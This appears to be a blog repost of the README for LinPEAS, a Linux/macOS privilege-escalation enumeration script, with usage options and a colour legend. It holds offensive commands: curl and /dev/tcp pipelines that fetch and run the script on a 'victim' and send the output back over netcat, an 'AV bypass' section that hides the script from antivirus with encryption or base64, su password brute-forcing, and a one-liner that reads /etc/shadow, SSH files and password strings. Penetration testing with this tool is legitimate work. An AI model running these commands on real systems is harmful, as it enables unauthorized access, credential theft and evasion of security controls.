LinPEAS - Linux Privilege Escalation Awesome Script

LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. The checks are explained on book.hacktricks.xyz

Check the Local Linux Privilege Escalation checklist from book.hacktricks.xyz.

MacPEAS

Just execute linpeas.sh in a MacOS system and the MacPEAS version will be automatically executed

Quick Start

Find the latest versions of all the scripts and binaries in the releases page.

# From github
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Local network
sudo python -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim

# Without curl
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim

# Excute from memory and send output back to the host
nc -lvnp 9002 | tee linpeas.out #Host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim

# Output to file
./linpeas.sh -a > /dev/shm/linpeas.txt #Victim
less -r /dev/shm/linpeas.txt #Read with colors

# Use a linpeas binary
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64

# Execute from memory in Penelope session
# From: https://github.com/brightio/penelope
> run peass-ng

Firmware Analysis

If you have a firmware and you want to analyze it with linpeas to search for passwords or bad configured permissions you have 2 main options.

If you can emulate the firmware, just run linpeas inside of it:

cp /path/to/linpeas.sh /mnt/linpeas.sh
chroot /mnt #Supposing you have mounted the firmware FS in /mnt
bash /linpeas.sh -o software_information,interesting_files,api_keys_regex

If you cannot emulate the firmware, use the -f </path/to/folder param:

# Point to the folder containing the files you want to analyze
bash /path/to/linpeas.sh -f /path/to/folder

AV bypass

#open-ssl encryption
openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim

#Base64 encoded
base64 -w0 linpeas.sh > lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim

Basic Information

The goal of this script is to search for possible Privilege Escalation Paths (tested in Debian, CentOS, FreeBSD, OpenBSD and MacOS).

This script doesn't have any dependency.

It uses /bin/sh syntax, so can run in anything supporting sh (and the binaries and parameters used).

By default, linpeas won't write anything to disk and won't try to login as any other user using su.

By default linpeas takes around 4 mins to complete, but It could take from 5 to 10 minutes to execute all the checks using -a parameter (Recommended option for CTFs):

From less than 1 min to 2 mins to make almost all the checks
Almost 1 min to search for possible passwords inside all the accesible files of the system
20s/user bruteforce with top2000 passwords (need -a) - Notice that this check is super noisy
1 min to monitor the processes in order to find very frequent cron jobs (need -a) - Notice that this check will need to write some info inside a file that will be deleted

Interesting parameters:

-a (all checks except regex) - This will execute also the check of processes during 1 min, will search more possible hashes inside files, and brute-force each user using su with the top2000 passwords.
-e (extra enumeration) - This will execute enumeration checkes that are avoided by default
-r (regex checks) - This will search for hundreds of API keys of different platforms in the silesystem
-s (superfast & stealth) - This will bypass some time consuming checks - Stealth mode (Nothing will be written to disk)
-P (Password) - Pass a password that will be used with sudo -l and bruteforcing other users
-D (Debug) - Print information about the checks that haven't discovered anything and about the time each check took
-d/-p/-i/-t (Local Network Enumeration) - Linpeas can also discover and port-scan local networks

This script has several lists included inside of it to be able to color the results in order to highlight PE vector.

Enumerate and search Privilege Escalation vectors.
This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors.
        Checks:
            -o Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list.
            -s Stealth & faster (don't check some time consuming checks)
            -e Perform extra enumeration
            -t Automatic network scan & Internet conectivity checks - This option writes to files
            -r Enable Regexes (this can take from some mins to hours)
            -P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
            -D Debug mode

        Network recon:
            -t Automatic network scan & Internet conectivity checks - This option writes to files
            -d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24
            -p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139
            -i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
             Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed

        Port forwarding:
            -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT Execute linpeas to forward a port from a local IP to a remote IP

        Firmware recon:
            -f </FOLDER/PATH> Execute linpeas to search passwords/file permissions misconfigs inside a folder

        Misc:
            -h To show this message
            -w Wait execution between big blocks of checks
            -L Force linpeas execution
            -M Force macpeas execution
            -q Do not show banner
            -N Do not use colours

Hosts Discovery and Port Scanning

With LinPEAS you can also discover hosts automatically using fping, ping and/or nc, and scan ports using nc.

LinPEAS will automatically search for this binaries in $PATH and let you know if any of them is available. In that case you can use LinPEAS to hosts dicovery and/or port scanning.

Colors

Details

LinPEAS uses colors to indicate where does each section begin. But it also uses them the identify potencial misconfigurations.

The Red/Yellow color is used for identifing configurations that lead to PE (99% sure).

The Red color is used for identifing suspicious configurations that could lead to PE:

Possible exploitable kernel versions
Vulnerable sudo versions
Identify processes running as root
Not mounted devices
Dangerous fstab permissions
Writable files in interesting directories
SUID/SGID binaries that have some vulnerable version (it also specifies the vulnerable version)
SUDO binaries that can be used to escalate privileges in sudo -l (without passwd) (https://gtfobins.github.io/)
Check /etc/doas.conf
127.0.0.1 in netstat
Known files that could contain passwords
Capabilities in interesting binaries
Interesting capabilities of a binary
Writable folders and wilcards inside info about cron jobs
Writables folders in PATH
Groups that could lead to root
Files that could contains passwords
Suspicious cronjobs

The Green color is used for:

Common processes run by root
Common not interesting devices to mount
Not dangerous fstab permissions
SUID/SGID common binaries (the bin was already found in other machines and searchsploit doesn't identify any vulnerable version)
Common .sh files in path
Common names of users executing processes
Common cronjobs

The Blue color is used for:

Users without shell
Mounted devices

The Light Cyan color is used for:

The Light Magenta color is used for:

One-liner Enumerator

Here you have an old linpe version script in one line, just copy and paste it;)

The color filtering is not available in the one-liner (the lists are too big)

This one-liner is deprecated (I'm not going to update it any more), but it could be useful in some cases so it will remain here.

The default file where all the data is stored is: /tmp/linPE (you can change it at the beginning of the script)

file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm -rf $file;echo "File: $file";echo "[+]Gathering system information...";printf $B"[*] "$RED"BASIC SYSTEM INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Operative system\n"$NC >> $file;(cat /proc/version || uname -a ) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"PATH\n"$NC >> $file;echo $PATH 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Date\n"$NC >> $file;date 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo version\n"$NC >> $file;sudo -V 2>/dev/null| grep "Sudo ver" >> $file;echo "" >> $file;printf $Y"[+] "$RED"selinux enabled?\n"$NC >> $file;sestatus 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Useful software?\n"$NC >> $file;which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Capabilities\n"$NC >> $file;getcap -r / 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Environment\n"$NC >> $file;(set || env) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Top and cleaned proccesses\n"$NC >> $file;ps aux 2>/dev/null | grep -v "\[" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Binary processes permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Services\n"$NC >> $file;(/usr/sbin/service --status-all || /sbin/chkconfig --list || /bin/rc-status) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Different processes executed during 1 min (HTB)\n"$NC >> $file;if [ "`ps -e --format cmd`" ]; then for i in {1..121}; do ps -e --format cmd >> $file.tmp1; sleep 0.5; done; sort $file.tmp1 | uniq | grep -v "\[" | sed '/^.\{500\}./d' >> $file; rm $file.tmp1; fi;echo "" >> $file;printf $Y"[+] "$RED"Proccesses binary permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Scheduled tasks\n"$NC >> $file;crontab -l 2>/dev/null >> $file;ls -al /etc/cron* 2>/dev/null >> $file;cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root /var/spool/anacron 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Any sd* disk in /dev?\n"$NC >> $file;ls /dev 2>/dev/null | grep -i "sd" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Storage information\n"$NC >> $file;df -h 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Unmounted file-system?\n"$NC >> $file;cat /etc/fstab 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Printer?\n"$NC >> $file;lpstat -a 2>/dev/null >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering network information...";printf $B"[*] "$RED"NETWORK INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Hostname, hosts and DNS\n"$NC >> $file;cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" >> $file;dnsdomainname 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Networks and neightbours\n"$NC >> $file;cat /etc/networks 2>/dev/null >> $file;(ifconfig || ip a) 2>/dev/null >> $file;iptables -L 2>/dev/null >> $file;ip n 2>/dev/null >> $file;route -n 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Ports\n"$NC >> $file;(netstat -punta || ss -t; ss -u) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Can I sniff with tcpdump?\n"$NC >> $file;timeout 1 tcpdump >> $file 2>&1;echo "" >> $file;echo "" >> $file;echo "[+]Gathering users information...";printf $B"[*] "$RED"USERS INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Me\n"$NC >> $file;(id || (whoami && groups)) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l without password\n"$NC >> $file;echo '' | sudo -S -l -k 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Do I have PGP keys?\n"$NC >> $file;gpg --list-keys 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Superusers\n"$NC >> $file;awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Login\n"$NC >> $file;w 2>/dev/null >> $file;last 2>/dev/null | tail >> $file;echo "" >> $file;printf $Y"[+] "$RED"Users with console\n"$NC >> $file;cat /etc/passwd 2>/dev/null | grep "sh$" >> $file;echo "" >> $file;printf $Y"[+] "$RED"All users\n"$NC >> $file;cat /etc/passwd 2>/dev/null | cut -d: -f1 >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering files information...";printf $B"[*] "$RED"INTERESTING FILES\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"SUID\n"$NC >> $file;find / -perm -4000 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"SGID\n"$NC >> $file;find / -perm -g=s -type f 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside \$HOME (limit 20)\n"$NC >> $file;ls -la $HOME 2>/dev/null | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"20 First files of /home\n"$NC >> $file;find /home -type f 2>/dev/null | column -t | grep -v -i "/"$USER | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside .ssh directory?\n"$NC >> $file;find  /home /root -name .ssh 2>/dev/null -exec ls -laR {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"*sa_key* files\n"$NC >> $file;find / -type f -name "*sa_key*" -ls 2>/dev/null -exec ls -l {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"Mails?\n"$NC >> $file;ls -alh /var/mail/ /var/spool/mail/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"NFS exports?\n"$NC >> $file;cat /etc/exports 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Hashes inside /etc/passwd? Readable /etc/shadow or /etc/master.passwd?\n"$NC >> $file;grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null >> $file;cat /etc/shadow /etc/master.passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Readable /root?\n"$NC >> $file;ls -ahl /root/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Inside docker or lxc?\n"$NC >> $file;dockercontainer=`grep -i docker /proc/self/cgroup  2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null`;lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null`;if [ "$dockercontainer" ]; then echo "Looks like we're in a Docker container" >> $file; fi;if [ "$lxccontainer" ]; then echo "Looks like we're in a LXC container" >> $file; fi;echo "" >> $file;printf $Y"[+] "$RED"*_history, profile, bashrc, httpd.conf\n"$NC >> $file;find / -type f \( -name "*_history" -o -name "profile" -o -name "*bashrc" -o -name "httpd.conf" \) -exec ls -l {} \; 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"All hidden files (not in /sys/) (limit 100)\n"$NC >> $file;find / -type f -iname ".*" -ls 2>/dev/null | grep -v "/sys/" | head -n 100 >> $file;echo "" >> $file;printf $Y"[+] "$RED"What inside /tmp, /var/tmp, /var/backups\n"$NC >> $file;ls -a /tmp /var/tmp /var/backups 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Interesting writable Files\n"$NC >> $file;USER=`whoami`;HOME=/home/$USER;find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'| sort | uniq >> $file;for g in `groups`; do find / \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'; done >> $file;echo "" >> $file;printf $Y"[+] "$RED"Web files?(output limited)\n"$NC >> $file;ls -alhR /var/www/ 2>/dev/null | head >> $file;ls -alhR /srv/www/htdocs/ 2>/dev/null | head >> $file;ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head >> $file;ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head >> $file;echo "" >> $file;printf $Y"[+] "$RED"Backup files?\n"$NC >> $file;find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*back*" -o -name "*bck*" \) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find IPs inside logs\n"$NC >> $file;grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find 'password' or 'passw' string inside /home, /var/www, /var/log, /etc\n"$NC >> $file;grep -lRi "password\|passw" /home /var/www /var/log 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l (you need to puts the password and the result appear in console)\n"$NC >> $file;sudo -l;

PEASS Style

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Collaborate

If you want to help with the TODO tasks or with anything, you can do it using github issues or you can submit a pull request.

If you find any issue, please report it using github issues.

Linpeas is being updated every time I find something that could be useful to escalate privileges.

Advisory

All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.

By Polop^(TM)

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SymmetricalDataSecurity

Tuesday, March 14, 2023

LinPEAS